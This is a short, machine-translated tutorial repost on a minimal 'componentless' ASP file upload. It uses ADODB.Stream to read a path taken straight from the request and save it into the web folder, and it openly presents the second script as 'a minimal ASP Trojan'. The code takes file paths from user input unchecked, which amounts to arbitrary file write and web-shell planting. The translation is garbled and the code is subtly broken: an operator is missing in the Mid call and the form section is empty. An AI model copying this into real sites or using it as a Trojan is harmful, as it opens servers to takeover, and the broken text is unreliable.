Five lines of code implementation ASP no component upload

xiaoxiao2021-04-08  348

There are currently a lot of components that are not complicated, and some written is quite complicated. Some actually can only pass the text. The most critical is that there is no 10 line code.

In fact, there is no component uploading the core code is AdoDB.Stream. It actually only uses the five-way code to achieve no component upload.

Set objStream = Server.CreateObject ( "ADODB.Stream") objStream.Type = 1 objStream.Open objStream.LoadFromFile Request ( "upfilename") objStream.SaveToFile Server.MapPath ( "test.gif"), 2

Instructions:

Write the above code as Upload.asp, enter http: //localhost/upload.asp? UpFileName = C: / Test/test.gif in your browser

Localhost is your host address, you will see your directory below a Test.gif, he is you want to pull.

According to principles we can extend the following code, calculate a minimal ASP Trojan, one thing worth noting, uploading local file paths cannot contain Chinese characters, otherwise it will be wrong.

UPLOAD.ASP file

<% Function GetFileName (ByVal strFile) If strFile <> "" Then GetFileName = mid (strFile, InStrRev (strFile, "/") 1) Else GetFileName = "" End If End function strFileName = Request.Form ( "upfilename" ) If strFileName <> "" Then Set objStream = Server.CreateObject ( "ADODB.Stream") objStream.Type = 1 objStream.Open objStream.LoadFromFile strFileName objStream.SaveToFile Server.MapPath (GetFileName (strFileName)), 2 objStream.Close Response.write "OK!" ELSE%>

<% end if%>

转载请注明原文地址:https://www.9cbs.com/read-132665.html

New Post(0)